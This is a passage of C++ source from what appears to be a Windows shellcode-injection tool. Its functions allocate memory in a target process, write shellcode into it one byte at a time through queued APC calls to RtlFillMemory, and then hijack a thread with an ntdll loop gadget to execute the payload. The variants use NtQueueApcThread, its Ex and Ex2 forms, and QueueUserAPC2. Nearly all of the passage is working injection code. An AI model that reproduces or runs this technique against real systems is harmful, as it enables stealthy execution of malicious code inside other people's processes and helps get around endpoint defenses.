(DWORD64)byteToWrite, // Arg3 (R8): Fill byte value
0, // Arg4 (R9): Unused
pSleep,
loopGadgetAddr);
if (!hijackSuccess)
{
std::cerr << "[!] PerformRemoteMemoryCopyViaNtQueueApcThreadEx2: Hijack sequence failed for byte " << i << "." << std::endl;
return false;
}
}
if (config.verbose)
std::cout << " [NtQAPCEx2 Copy Primitive] Successfully completed copy." << std::endl;
return true;
}
// --- Byte-by-Byte Memory Copy via NtQueueApcEx Hijack ---
bool PerformRemoteMemoryCopyViaNtQueueApcExHijack(
HANDLE hProcess,
const InjectionConfig &config,
LPVOID pRtlFillMemory,
LPVOID pRemoteDestBase,
const unsigned char *sourceData,
size_t dataSize,
LPVOID pSleep,
LPVOID loopGadgetAddr)
{
if (!pRtlFillMemory || !pRemoteDestBase || !sourceData || !pSleep || !loopGadgetAddr)
{ /* error */
return false;
}
if (config.verbose)
{
std::cout << " [NtQAPCEx Copy Primitive] Starting byte-by-byte copy of " << dataSize << " bytes to " << pRemoteDestBase << " using NtQAPCEx+Hijack(RtlMoveMemory)..." << std::endl;
std::cout << " [NtQAPCEx Copy Primitive] WARNING: This process will be very slow!" << std::endl;
}
DWORD64 remoteDestBaseAddr = reinterpret_cast<DWORD64>(pRemoteDestBase);
for (size_t i = 0; i < dataSize; ++i)
{
char targetChar = static_cast<char>(sourceData[i]);
BYTE byteToWrite = sourceData[i]; // Get the byte value directly from the source buffer for memset/RtlFillMemory
// Cast pRemoteDestBase to BYTE* for pointer arithmetic
DWORD64 destinationAddressByte = reinterpret_cast<DWORD64>(
static_cast<BYTE *>(pRemoteDestBase) + i);
// LPVOID remoteByteAddress = FindCharInRemoteProcess(hProcess, targetChar);
// if (remoteByteAddress == nullptr) { /* error */ return false; }
std::cout << " [NtQAPCEx Copy Primitive] Copying byte " << i + 1 << "/" << dataSize << std::endl;
// -- test --
DWORD dwThreadDesiredAccess = THREAD_SET_CONTEXT | THREAD_QUERY_INFORMATION | THREAD_GET_CONTEXT;
if (config.useSuspend)
{
dwThreadDesiredAccess |= THREAD_SUSPEND_RESUME;
}
HANDLE hThread = OpenThread(dwThreadDesiredAccess, FALSE, config.targetTid);
NTSTATUS status = pNtQueueApcThreadEx(
hThread,
(HANDLE)1, // apc_special_user_apc
(PPS_APC_ROUTINE)pRtlFillMemory, // APC Routine
(PVOID)destinationAddressByte, // ApcArgument1 (Sleep's dwMilliseconds)
(PVOID)1, // ApcArgument2
(PVOID)byteToWrite // ApcArgument3
);
if (status != STATUS_SUCCESS)
{
std::cerr << "[!] PerformRemoteMemoryCopyViaNtQueueApcExHijack pNtQueueApcThreadEx: NtQueueApcThreadEx failed. NTSTATUS: 0x" << std::hex << status << std::dec << std::endl;
CloseHandle(hThread);
return false;
}
if (config.verbose)
std::cout << " [NtQAPCEx Hijack Primitive] NtQueueApcThreadEx call successful.\n";
continue;
// -- end test --
// Use the *new* NtQueueApcEx hijack primitive
// RtlMoveMemory takes 3 arguments (Destination, Source, Length)
// These map to arg1, arg2, arg3 passed to the hijack primitive
bool hijackSuccess = ExecuteRemoteFunctionViaNtQueueApcExHijack(
hProcess,
config,
pRtlFillMemory, // Target function = RtlFillMemory
destinationAddressByte, // Arg1 (RCX): Destination address for this byte
1, // Arg2 (RDX): Length (1 byte)
(DWORD64)byteToWrite, // Arg3 (R8): Fill byte value
0, // Arg4 (R9): Unused
pSleep,
loopGadgetAddr);
if (!hijackSuccess)
{
std::cerr << "[!] PerformRemoteMemoryCopyViaNtQueueApcExHijack: Hijack sequence failed for byte " << i << "." << std::endl;
return false;
}
}
if (config.verbose)
std::cout << " [NtQAPCEx Copy Primitive] Successfully completed copy." << std::endl;
return true;
}
// --- Efficient Byte-by-Byte Memory Copy via NtQueueApcThread ---
bool PerformRemoteMemoryCopyViaNtQueueApcThread(
HANDLE hProcess,
const InjectionConfig &config,
LPVOID pRtlFillMemory,
LPVOID pRemoteDestBase,
const unsigned char *sourceData,
size_t dataSize,
LPVOID pSleep)
{
if (!pNtQueueApcThread || !pRtlFillMemory || !pRemoteDestBase || !sourceData)
{
std::cerr << "[!] PerformRemoteMemoryCopyViaNtQueueApcThread: Invalid arguments provided." << std::endl;
return false;
}
if (config.targetTid == 0)
{
std::cerr << "[!] PerformRemoteMemoryCopyViaNtQueueApcThread: Target thread ID is required." << std::endl;
return false;
}
if (config.verbose)
{
std::cout << " [NtQueueApcThread Copy] Starting byte-by-byte copy of " << dataSize
<< " bytes to " << pRemoteDestBase << " using direct NtQueueApcThread..." << std::endl;
std::cout << " [NtQueueApcThread Copy] This will queue one APC for each byte." << std::endl;
}
// Open thread with appropriate access rights
DWORD dwThreadDesiredAccess = THREAD_SET_CONTEXT;
HANDLE hThread = OpenThread(dwThreadDesiredAccess, FALSE, config.targetTid);
if (!hThread)
{
std::cerr << "[!] PerformRemoteMemoryCopyViaNtQueueApcThread: OpenThread failed. Error: " << GetLastError() << std::endl;
return false;
}
// Queue APCs to write each byte
const size_t logInterval = dataSize > 100 ? dataSize / 10 : 10; // Log every 10% or every 10 bytes
bool warnedAboutWait = false;
for (size_t i = 0; i < dataSize; ++i)
{
// Calculate destination address for this byte
DWORD64 destinationAddressByte = reinterpret_cast<DWORD64>(
static_cast<BYTE *>(pRemoteDestBase) + i);
BYTE byteToWrite = sourceData[i];
// Log progress periodically
if (config.verbose)
{
std::cout << " [NtQueueApcThread Copy] Queueing byte " << i + 1 << "/" << dataSize
<< " (0x" << std::hex << static_cast<int>(byteToWrite) << std::dec << ")" << std::endl;
}
else if ((i == 0 || i == dataSize - 1 || i % logInterval == 0))
{
std::cout << " [NtQueueApcThread Copy] Queueing byte " << i + 1 << "/" << dataSize
<< " (0x" << std::hex << static_cast<int>(byteToWrite) << std::dec << ")" << std::endl;
}
// Queue APC for RtlFillMemory
// Note: Regular NtQueueApcThread has only the first parameter (PVOID)
// We need to use the Windows x64 calling convention parameters since we'll execute directly
// RtlFillMemory(Dest, Length, Value)
// For x64: RCX = Dest, RDX = Length, R8 = Value
NTSTATUS status = pNtQueueApcThread(
hThread, // Thread handle
(PPS_APC_ROUTINE)pRtlFillMemory, // Target function (RtlFillMemory)
(PVOID)destinationAddressByte, // Arg1: destination address (RCX)
(PVOID)1, // Arg2: length of 1 byte (RDX)
(PVOID)(DWORD64)byteToWrite // Arg3: fill value (R8)
);
if (status != STATUS_SUCCESS)
{
std::cerr << "[!] PerformRemoteMemoryCopyViaNtQueueApcThread: NtQueueApcThread failed for byte " << i
<< ". NTSTATUS: 0x" << std::hex << status << std::dec << std::endl;
CloseHandle(hThread);
return false;
}
}
// Since regular APCs (without special flag) will only be processed when the thread enters an alertable state,
// we need to either wait for the thread to do this naturally, or force it with a NtAlertThread / Alertable wait (eg. SleepEx/NtTestAlert) via SPECIAL_APC)
if (config.verbose)
{
std::cout << " [NtQueueApcThread Copy] Successfully queued " << dataSize << " APCs for byte writing." << std::endl;
std::cout << " [NtQueueApcThread Copy] APCs will be processed when thread enters an alertable state." << std::endl;
}
// Sleep for a short time to allow the thread to process the queued APCs
if (config.verbose)
std::cout << " [NtQueueApcThread Copy] Sleeping briefly to allow APC processing..." << std::endl;
::Sleep(150);
CloseHandle(hThread);
return true;
}
// --- Orchestrator for NtQueueApcThreadEx ---
bool InjectShellcodeUsingNtQueueApcEx( // Definition Added
HANDLE hProcess,
const std::vector<unsigned char> &shellcodeBytes,
const InjectionConfig &config)
{
if (config.contextMethod != ContextMethod::TWO_STEP)
{
std::cerr << "[!] InjectShellcodeUsingAPC currently only supports '--context-method two-step'." << std::endl;
// Optionally fall back to a simpler method or just fail.
// For now, we fail if the context isn't two-step.
// We could implement the direct QueueUserAPC(shellcode) here under a different context method if needed.
return false;
}
if (config.targetTid == 0)
{
std::cerr << "[!] QueueUserAPC (two-step) method requires a target thread ID (--tid)." << std::endl;
return false;
}
if (shellcodeBytes.empty())
{
std::cerr << "[!] No shellcode provided to inject." << std::endl;
return false;
}
// Get necessary function addresses
HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
if (!hKernel32)
{
std::cerr << "[!] Failed to get kernel32.dll handle. Error: " << GetLastError() << std::endl;
return false;
}
LPVOID pVirtualAlloc = GetProcAddress(hKernel32, "VirtualAlloc");
LPVOID pRtlMoveMemory = GetProcAddress(hKernel32, "RtlMoveMemory");
LPVOID pRtlFillMemory = GetProcAddress(hKernel32, "RtlFillMemory");
// LPVOID pRtlFillMemory = ::pRtlFillMemory; // Use the global pointer
LPVOID pSleep = GetProcAddress(hKernel32, "Sleep");
LPVOID loopGadgetAddr = nullptr;
std::cout << "[*] Searching for local loop gadget (EB FE) in ntdll.dll..." << std::endl;
std::vector<BYTE> loopGadgetBytes = {0xEB, 0xFE}; // jmp short -2
loopGadgetAddr = FindLocalGadgetInRX("ntdll.dll", loopGadgetBytes, config.verbose);
if (config.verbose)
{
std::cout << "[*] Using two-step APC hijack context method." << std::endl;
std::cout << "[*] Target TID: " << config.targetTid << std::endl;
std::cout << "[*] Required addresses:"
<< "\n VirtualAlloc: " << pVirtualAlloc
<< "\n RtlMoveMemory: " << pRtlMoveMemory
<< "\n RtlFillMemory: " << pRtlFillMemory
<< "\n Sleep: " << pSleep
<< "\n Loop Gadget: " << loopGadgetAddr << std::endl;
}
if (!pVirtualAlloc || !pRtlFillMemory || !pSleep || !loopGadgetAddr)
{
std::cerr << "[!] Failed to get necessary function addresses. Error: " << GetLastError() << std::endl;
return false;
}
// --- Injection Steps ---
// 1. Allocate memory in the target process for the shellcode
DWORD64 ALLOC_SIZE = config.allocSize;
DWORD64 ALLOC_TYPE = MEM_COMMIT | MEM_RESERVE;
DWORD64 ALLOC_PROTECT = config.allocPerm;
DWORD64 REQUESTED_ALLOC_ADDR = config.allocAddress ? config.allocAddress : 0x60000;
LPVOID pRemoteMemory = (LPVOID)REQUESTED_ALLOC_ADDR;
if (config.verbose)
{
std::cout << "\n[*] --- Step 1: Allocating Memory ---" << std::endl;
std::cout << "[*] Attempting to call VirtualAlloc via APC+Hijack" << std::endl;
std::cout << "[*] Requested Address: " << pRemoteMemory << " (Assumed)" << std::endl;
std::cout << "[*] Size: " << ALLOC_SIZE << " bytes" << std::endl;
std::cout << "[*] Permissions: 0x" << std::hex << ALLOC_PROTECT << std::dec << std::endl;
}
bool allocSuccess = ExecuteRemoteFunctionViaNtQueueApcExHijack(
hProcess,
config,
pVirtualAlloc,
REQUESTED_ALLOC_ADDR, // RCX: lpAddress (REQUESTED)
ALLOC_SIZE, // RDX: dwSize
ALLOC_TYPE, // R8: flAllocationType
ALLOC_PROTECT, // R9: flProtect
pSleep, // Sleep function address
loopGadgetAddr // Loop Gadget address
);
if (!allocSuccess)
{
std::cerr << "[!] Failed to execute VirtualAlloc call via APC+Hijack." << std::endl;
// No memory to free here as we don't know if it was allocated
return false;
}
// We *assume* allocation succeeded at pRemoteMemory. A check could involve
// trying to ReadProcessMemory from pRemoteMemory, but even that isn't foolproof.
if (config.verbose)
{
std::cout << "[+] VirtualAlloc call executed via hijack (Assumed success at " << pRemoteMemory << ")." << std::endl;
}
if (config.verbose)
{
std::cout << "\n[*] --- Step 2: Writing Shellcode (Byte-by-Byte via Hijack) ---" << std::endl;
std::cout << "[*] This step will be very slow. Please be patient." << std::endl;
}
// 2. Write Shellcode using PerformRemoteMemoryCopyViaNtQueueApcExHijack
bool copySuccess = PerformRemoteMemoryCopyViaNtQueueApcExHijack(
hProcess,
config,
pRtlFillMemory, // Pass RtlMoveMemory address
pRemoteMemory, // Destination base address
shellcodeBytes.data(), // Source shellcode buffer
shellcodeBytes.size(), // Source shellcode size
pSleep, // Pass Sleep address
loopGadgetAddr // Pass Gadget address
);
if (!copySuccess)
{
std::cerr << "[!] Failed during byte-by-byte shellcode copy via APC+Hijack." << std::endl;
VirtualFreeEx(hProcess, pRemoteMemory, 0, MEM_RELEASE); // Attempt cleanup
return false;
}
if (config.verbose)
{
std::cout << "[+] Shellcode copy via hijack completed." << std::endl;
}
// 3. Execute Shellcode using the Hijack Primitive
if (config.verbose)
{
std::cout << "\n[*] --- Step 3: Executing Shellcode (Direct Jump via Hijack) ---" << std::endl;
std::cout << "[*] Attempting to jump to shellcode at " << pRemoteMemory << " via APC+Hijack" << std::endl;
}
// Hijack directly into the shellcode address, we could add more triggers here like callback registrations etc,
// if we want to free the thread executing the apc without relying on the shellcode.
bool execSuccess = ExecuteRemoteFunctionViaNtQueueApcExHijack(
hProcess, config,
pRemoteMemory, // Target function is the shellcode itself
0, 0, 0, 0, // Args (usually none needed for shellcode entry)
pSleep, // Pass Sleep pointer
loopGadgetAddr // Pass Gadget pointer
);
if (!execSuccess)
{
std::cerr << "[!] Failed to execute shellcode call via APC+Hijack." << std::endl;
// Don't free here, shellcode might be partially running or needed
// VirtualFreeEx(hProcess, pRemoteMemory, 0, MEM_RELEASE); // Maybe attempt cleanup? Risky.
return false;
}
if (config.verbose)
{
std::cout << "[+] Shellcode execution triggered via hijack." << std::endl;
}
return true; // Success means all steps initiated
}
bool InjectShellcodeUsingQueueUserAPC2(
HANDLE hProcess,
const std::vector<unsigned char> &shellcodeBytes,
const InjectionConfig &config)
{
if (config.contextMethod != ContextMethod::TWO_STEP)
{
std::cerr << "[!] QueueUserAPC2 injection currently only supports '--context-method two-step'." << std::endl;
return false;
}
if (config.targetTid == 0)
{
std::cerr << "[!] QueueUserAPC2 method requires a target thread ID (--tid)." << std::endl;
return false;
}
if (shellcodeBytes.empty())
{
std::cerr << "[!] No shellcode provided to inject." << std::endl;
return false;
}
if (!pQueueUserAPC2)
{
std::cerr << "[!] QueueUserAPC2 function is not available on this system (requires Windows 10 build 1809+)." << std::endl;
return false;
}
HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
if (!hKernel32)
{
std::cerr << "[!] Failed to get kernel32.dll handle. Error: " << GetLastError() << std::endl;
return false;
}
LPVOID pVirtualAlloc = GetProcAddress(hKernel32, "VirtualAlloc");
LPVOID pRtlFillMemory = GetProcAddress(hKernel32, "RtlFillMemory");
LPVOID pSleep = GetProcAddress(hKernel32, "Sleep");
std::vector<BYTE> loopGadgetBytes = {0xEB, 0xFE};
LPVOID loopGadgetAddr = FindLocalGadgetInRX("ntdll.dll", loopGadgetBytes, config.verbose);
DWORD64 ALLOC_SIZE = config.allocSize;
DWORD64 ALLOC_TYPE = MEM_COMMIT | MEM_RESERVE;
DWORD64 ALLOC_PROTECT = config.allocPerm;
DWORD64 REQUESTED_ALLOC_ADDR = config.allocAddress ? config.allocAddress : 0x60000;
LPVOID pRemoteMemory = (LPVOID)REQUESTED_ALLOC_ADDR;
// 1. Allocate memory
if (!ExecuteRemoteFunctionViaQueueUserAPC2Hijack(
hProcess, config, pVirtualAlloc,
REQUESTED_ALLOC_ADDR, ALLOC_SIZE, ALLOC_TYPE, ALLOC_PROTECT,
pSleep, loopGadgetAddr))
{
std::cerr << "[!] VirtualAlloc via QueueUserAPC2 hijack failed." << std::endl;
return false;
}
// 2. Write shellcode byte-by-byte
for (size_t i = 0; i < shellcodeBytes.size(); ++i)
{
BYTE byteToWrite = shellcodeBytes[i];
DWORD64 destinationAddressByte = reinterpret_cast<DWORD64>(
static_cast<BYTE *>(pRemoteMemory) + i);
if (config.verbose)
{
std::cout << " [Copy Primitive] Copying byte " << i + 1 << "/" << shellcodeBytes.size() << " (Value: 0x" << std::hex << static_cast<int>(byteToWrite) << std::dec << ")" << std::endl;
}
if (!ExecuteRemoteFunctionViaQueueUserAPC2Hijack(
hProcess, config, pRtlFillMemory,
destinationAddressByte, 1, (DWORD64)byteToWrite, 0,
pSleep, loopGadgetAddr))
{
std::cerr << "[!] RtlFillMemory via QueueUserAPC2 hijack failed at byte " << i << std::endl;
return false;
}
}
// 3. Execute shellcode
if (!ExecuteRemoteFunctionViaQueueUserAPC2Hijack(
hProcess, config, pRemoteMemory,
0, 0, 0, 0,
pSleep, loopGadgetAddr))
{
std::cerr << "[!] Shellcode execution via QueueUserAPC2 hijack failed." << std::endl;
return false;
}
return true;
}
// --- Orchestrator for NtQueueApcThread ---
bool InjectShellcodeUsingNtQueueApcThread(
HANDLE hProcess,
const std::vector<unsigned char> &shellcodeBytes,
const InjectionConfig &config)
{
if (config.contextMethod != ContextMethod::TWO_STEP)
{
std::cerr << "[!] InjectShellcodeUsingNtQueueApcThread currently only supports '--context-method two-step'." << std::endl;
return false;
}
if (config.targetTid == 0)
{
std::cerr << "[!] NtQueueApcThread method requires a target thread ID (--tid)." << std::endl;
return false;
}
if (shellcodeBytes.empty())
{
std::cerr << "[!] No shellcode provided to inject." << std::endl;
return false;
}
// Check for required API
if (!pNtQueueApcThread)
{
std::cerr << "[!] NtQueueApcThread function pointer is NULL!" << std::endl;
return false;
}
// Get necessary function addresses
HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
if (!hKernel32)
{
std::cerr << "[!] Failed to get kernel32.dll handle. Error: " << GetLastError() << std::endl;
return false;
}
LPVOID pVirtualAlloc = GetProcAddress(hKernel32, "VirtualAlloc");
LPVOID pRtlFillMemory = GetProcAddress(hKernel32, "RtlFillMemory");
LPVOID pSleep = GetProcAddress(hKernel32, "Sleep");
std::vector<BYTE> loopGadgetBytes = {0xEB, 0xFE};
LPVOID loopGadgetAddr = FindLocalGadgetInRX("ntdll.dll", loopGadgetBytes, config.verbose);
if (config.verbose)
{
std::cout << "[*] Using two-step NtQueueApcThread hijack method." << std::endl;
std::cout << "[*] Target TID: " << config.targetTid << std::endl;
std::cout << "[*] Required addresses:" << std::endl;
std::cout << " VirtualAlloc: " << pVirtualAlloc << std::endl;
std::cout << " RtlFillMemory: " << pRtlFillMemory << std::endl;
std::cout << " Sleep: " << pSleep << std::endl;
std::cout << " Loop Gadget: " << loopGadgetAddr << std::endl;
}
if (!pVirtualAlloc || !pRtlFillMemory || !pSleep || !loopGadgetAddr)
{
std::cerr << "[!] Failed to get necessary function addresses." << std::endl;
return false;
}
// --- Injection Steps ---
// 1. Allocate memory in the target process for the shellcode
DWORD64 ALLOC_SIZE = config.allocSize;
DWORD64 ALLOC_TYPE = MEM_COMMIT | MEM_RESERVE;
DWORD64 ALLOC_PROTECT = config.allocPerm;
DWORD64 REQUESTED_ALLOC_ADDR = config.allocAddress ? config.allocAddress : 0x60000;
LPVOID pRemoteMemory = (LPVOID)REQUESTED_ALLOC_ADDR;
if (config.verbose)
{
std::cout << "\n[*] --- Step 1: Allocating Memory ---" << std::endl;
std::cout << "[*] Attempting to call VirtualAlloc via NtQueueApcThread+Hijack" << std::endl;
std::cout << "[*] Requested Address: 0x" << std::hex << REQUESTED_ALLOC_ADDR << std::dec << std::endl;
std::cout << "[*] Size: " << ALLOC_SIZE << " bytes" << std::endl;
std::cout << "[*] Permissions: 0x" << std::hex << ALLOC_PROTECT << std::dec << std::endl;
}
// Call VirtualAlloc via NtQueueApcThread+Hijack
bool allocSuccess = ExecuteRemoteFunctionViaNtQueueApcThread(
hProcess,
config,
pVirtualAlloc,
REQUESTED_ALLOC_ADDR, // RCX: lpAddress (REQUESTED)
ALLOC_SIZE, // RDX: dwSize
ALLOC_TYPE, // R8: flAllocationType
ALLOC_PROTECT, // R9: flProtect
pSleep, // Sleep function address
loopGadgetAddr // Loop Gadget address
);
if (!allocSuccess)
{
std::cerr << "[!] Failed to execute VirtualAlloc call via NtQueueApcThread+Hijack." << std::endl;
return false;
}
if (config.verbose)
{
std::cout << "[+] VirtualAlloc call executed (Assumed success at " << pRemoteMemory << ")." << std::endl;
}
// 2. Write Shellcode using PerformRemoteMemoryCopyViaNtQueueApcThread
if (config.verbose)
{
std::cout << "\n[*] --- Step 2: Writing Shellcode (Byte-by-Byte via NtQueueApcThread) ---" << std::endl;
std::cout << "[*] This will queue one APC for each byte. Please be patient." << std::endl;
}
bool copySuccess = PerformRemoteMemoryCopyViaNtQueueApcThread(
hProcess,
config,
pRtlFillMemory, // RtlFillMemory function
pRemoteMemory, // Destination base address
shellcodeBytes.data(), // Source shellcode buffer
shellcodeBytes.size(), // Source shellcode size
pSleep // Sleep function
);
if (!copySuccess)
{
std::cerr << "[!] Failed during byte-by-byte shellcode copy via NtQueueApcThread." << std::endl;
return false;
}
if (config.verbose)
{
std::cout << "[+] Shellcode copy via NtQueueApcThread completed." << std::endl;
}
// 3. Execute Shellcode using our hijack primitive
if (config.verbose)
{
std::cout << "\n[*] --- Step 3: Executing Shellcode via NtQueueApcThread+Hijack ---" << std::endl;
std::cout << "[*] Attempting to jump to shellcode at " << pRemoteMemory << std::endl;
}
bool execSuccess = ExecuteRemoteFunctionViaNtQueueApcThread(
hProcess,
config,
pRemoteMemory, // Target function is the shellcode
0, 0, 0, 0, // No arguments for shellcode
pSleep, // Sleep function
loopGadgetAddr // Loop gadget
);
if (!execSuccess)
{
std::cerr << "[!] Failed to execute shellcode via NtQueueApcThread+Hijack." << std::endl;
return false;
}
if (config.verbose)
{
std::cout << "[+] Shellcode execution triggered." << std::endl;
}
return true;
}
// --- Byte-by-Byte Memory Copy via NtQueueApcThreadEx2 ---
bool PerformRemoteMemoryCopyViaNtQueueApcThreadEx2Hijack(
HANDLE hProcess,
const InjectionConfig &config,
LPVOID pRtlFillMemory,
LPVOID pRemoteDestBase,
const unsigned char *sourceData,
size_t dataSize,
LPVOID pSleep,
LPVOID loopGadgetAddr)
{
if (!pRtlFillMemory || !pRemoteDestBase || !sourceData || !pSleep || !loopGadgetAddr)
{
std::cerr << "[!] PerformRemoteMemoryCopyViaNtQueueApcThreadEx2Hijack: Invalid arguments provided." << std::endl;
return false;
}
if (config.verbose)
{
std::cout << " [NtQueueApcThreadEx2 Copy] Starting byte-by-byte copy of " << dataSize
<< " bytes to " << pRemoteDestBase << " using NtQueueApcThreadEx2+Hijack..." << std::endl;
std::cout << " [NtQueueApcThreadEx2 Copy] WARNING: This process will be very slow!" << std::endl;
}
// We can use either direct NtQueueApcThreadEx2 calls for each byte (faster)
// or use the hijack primitive for each byte (slower but more reliable)
const bool useDirectApcCalls = true; // Set to false if you want to use hijack for each byte
if (useDirectApcCalls)
{
// Open thread once for all operations
DWORD dwThreadDesiredAccess = THREAD_SET_CONTEXT;
HANDLE hThread = OpenThread(dwThreadDesiredAccess, FALSE, config.targetTid);
if (!hThread)
{
std::cerr << "[!] PerformRemoteMemoryCopyViaNtQueueApcThreadEx2Hijack: OpenThread failed. Error: "
<< GetLastError() << std::endl;
return false;
}
// Queue APCs for each byte directly
for (size_t i = 0; i < dataSize; ++i)
{
BYTE byteToWrite = sourceData[i];
DWORD64 destinationAddressByte = reinterpret_cast<DWORD64>(
static_cast<BYTE *>(pRemoteDestBase) + i);
if ((i == 0 || (i + 1) % 20 == 0 || i == dataSize - 1))
{
std::cout << " [NtQueueApcThreadEx2 Copy] Copying byte " << i + 1 << "/" << dataSize << std::endl;
}
NTSTATUS status = pNtQueueApcThreadEx2(
hThread,
NULL, // User APC reserve handle (NULL for normal)
(ULONG)1, // Special user APC flag (1 = special, force delivery)
(PPS_APC_ROUTINE)pRtlFillMemory, // APC Routine
(PVOID)destinationAddressByte, // Arg1: destination address
(PVOID)1, // Arg2: length of 1 byte
(PVOID)(DWORD64)byteToWrite // Arg3: fill value
);
if (status != STATUS_SUCCESS)
{
std::cerr << "[!] PerformRemoteMemoryCopyViaNtQueueApcThreadEx2Hijack: NtQueueApcThreadEx2 failed for byte " << i
<< ". NTSTATUS: 0x" << std::hex << status << std::dec << std::endl;
CloseHandle(hThread);
return false;
}
}
CloseHandle(hThread);
}
else
{
// Use the hijack primitive for each byte (slower but more reliable)
for (size_t i = 0; i < dataSize; ++i)
{
BYTE byteToWrite = sourceData[i];
DWORD64 destinationAddressByte = reinterpret_cast<DWORD64>(
static_cast<BYTE *>(pRemoteDestBase) + i);
if (config.verbose && (i == 0 || (i + 1) % 10 == 0 || i == dataSize - 1))
{
std::cout << " [NtQueueApcThreadEx2 Copy] Copying byte " << i + 1 << "/" << dataSize
<< " (Value: 0x" << std::hex << static_cast<int>(byteToWrite) << std::dec << ")" << std::endl;
}
bool hijackSuccess = ExecuteRemoteFunctionViaNtQueueApcThreadEx2Hijack(
hProcess,
config,
pRtlFillMemory, // Target function = RtlFillMemory
destinationAddressByte, // Arg1: Destination address for this byte
1, // Arg2: Length (1 byte)
(DWORD64)byteToWrite, // Arg3: Fill byte value
0, // Arg4: Unused
pSleep,
loopGadgetAddr);
if (!hijackSuccess)
{
std::cerr << "[!] PerformRemoteMemoryCopyViaNtQueueApcThreadEx2Hijack: Failed for byte " << i << "." << std::endl;
return false;
}
}
}
if (config.verbose)
{
std::cout << " [NtQueueApcThreadEx2 Copy] Successfully completed copy of " << dataSize << " bytes." << std::endl;
}
return true;
}
// --- Orchestrator for NtQueueApcThreadEx2 ---
bool InjectShellcodeUsingNtQueueApcThreadEx2(
HANDLE hProcess,
const std::vector<unsigned char> &shellcodeBytes,
const InjectionConfig &config)
{
if (config.contextMethod != ContextMethod::TWO_STEP)
{
std::cerr << "[!] InjectShellcodeUsingNtQueueApcThreadEx2 currently only supports '--context-method two-step'." << std::endl;
return false;
}
if (config.targetTid == 0)
{
std::cerr << "[!] NtQueueApcThreadEx2 method requires a target thread ID (--tid)." << std::endl;
return false;
}
if (shellcodeBytes.empty())
{
std::cerr << "[!] No shellcode provided to inject." << std::endl;
return false;
}
// Check for required API
if (!pNtQueueApcThreadEx2)
{
std::cerr << "[!] NtQueueApcThreadEx2 function is not available on this system." << std::endl;
return false;
}
// Get necessary function addresses
HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
if (!hKernel32)
{
std::cerr << "[!] Failed to get kernel32.dll handle. Error: " << GetLastError() << std::endl;
return false;
}
LPVOID pVirtualAlloc = GetProcAddress(hKernel32, "VirtualAlloc");
LPVOID pRtlFillMemory = GetProcAddress(hKernel32, "RtlFillMemory");
LPVOID pSleep = GetProcAddress(hKernel32, "Sleep");
std::vector<BYTE> loopGadgetBytes = {0xEB, 0xFE}; // jmp short -2
LPVOID loopGadgetAddr = FindLocalGadgetInRX("ntdll.dll", loopGadgetBytes, config.verbose);
if (config.verbose)
{
std::cout << "[*] Using two-step NtQueueApcThreadEx2 hijack method." << std::endl;
std::cout << "[*] Target TID: " << config.targetTid << std::endl;
std::cout << "[*] Required addresses:"
<< "\n VirtualAlloc: " << pVirtualAlloc
<< "\n RtlFillMemory: " << pRtlFillMemory
<< "\n Sleep: " << pSleep
<< "\n Loop Gadget: " << loopGadgetAddr << std::endl;
}
if (!pVirtualAlloc || !pRtlFillMemory || !pSleep || !loopGadgetAddr)
{
std::cerr << "[!] Failed to get necessary function addresses. Error: " << GetLastError() << std::endl;
return false;
}
// --- Injection Steps ---
// 1. Allocate memory in the target process for the shellcode
DWORD64 ALLOC_SIZE = config.allocSize;
DWORD64 ALLOC_TYPE = MEM_COMMIT | MEM_RESERVE;
DWORD64 ALLOC_PROTECT = config.allocPerm;
DWORD64 REQUESTED_ALLOC_ADDR = config.allocAddress ? config.allocAddress : 0x60000;
LPVOID pRemoteMemory = (LPVOID)REQUESTED_ALLOC_ADDR;
if (config.verbose)
{
std::cout << "\n[*] --- Step 1: Allocating Memory ---" << std::endl;
std::cout << "[*] Attempting to call VirtualAlloc via NtQueueApcThreadEx2+Hijack" << std::endl;
std::cout << "[*] Requested Address: 0x" << std::hex << REQUESTED_ALLOC_ADDR << std::dec << std::endl;
std::cout << "[*] Size: " << ALLOC_SIZE << " bytes" << std::endl;
std::cout << "[*] Permissions: 0x" << std::hex << ALLOC_PROTECT << std::dec << std::endl;
}
bool allocSuccess = ExecuteRemoteFunctionViaNtQueueApcThreadEx2Hijack(
hProcess,
config,
pVirtualAlloc,
REQUESTED_ALLOC_ADDR, // Arg1: lpAddress (REQUESTED)
ALLOC_SIZE, // Arg2: dwSize
ALLOC_TYPE, // Arg3: flAllocationType
ALLOC_PROTECT, // Arg4: flProtect
pSleep, // Sleep function address
loopGadgetAddr // Loop Gadget address
);
if (!allocSuccess)
{
std::cerr << "[!] Failed to execute VirtualAlloc call via NtQueueApcThreadEx2+Hijack." << std::endl;
return false;
}
if (config.verbose)
{
std::cout << "[+] VirtualAlloc call executed (Assumed success at " << pRemoteMemory << ")." << std::endl;
}
// --- Optional Debug Pause ---
if (config.enterDebug)
{
std::cout << "\n [DEBUG] InjectShellcodeUsingNtQueueApcThreadEx2: Post-Allocation" << std::endl;
std::cout << " Target PID: " << config.targetPid << ", TID: " << config.targetTid << std::endl;
std::cout << " Allocated memory at: 0x" << std::hex << pRemoteMemory << std::dec << std::endl;
std::cout << " [ACTION] Press ENTER to proceed to write shellcode..." << std::endl;
std::cin.get();
}
// 2. Write Shellcode using our byte-by-byte copy function
if (config.verbose)
{
std::cout << "\n[*] --- Step 2: Writing Shellcode (Byte-by-Byte) ---" << std::endl;
std::cout << "[*] This will use NtQueueApcThreadEx2 to write each byte. Please be patient." << std::endl;
}
bool copySuccess = PerformRemoteMemoryCopyViaNtQueueApcThreadEx2Hijack(
hProcess,
config,
pRtlFillMemory, // RtlFillMemory function
pRemoteMemory, // Destination base address
shellcodeBytes.data(), // Source shellcode buffer
shellcodeBytes.size(), // Source shellcode size
pSleep, // Sleep function
loopGadgetAddr // Loop gadget
);
if (!copySuccess)
{
std::cerr << "[!] Failed during shellcode copy via NtQueueApcThreadEx2." << std::endl;
return false;
}
if (config.verbose)
{
std::cout << "[+] Shellcode copy via NtQueueApcThreadEx2 completed." << std::endl;
}
// --- Optional Debug Pause ---
if (config.enterDebug)
{
std::cout << "\n [DEBUG] InjectShellcodeUsingNtQueueApcThreadEx2: Pre-Execution" << std::endl;
std::cout << " About to execute shellcode at 0x" << std::hex << pRemoteMemory << std::dec << std::endl;
std::cout << " [ACTION] Press ENTER to trigger shellcode execution..." << std::endl;
std::cin.get();
}
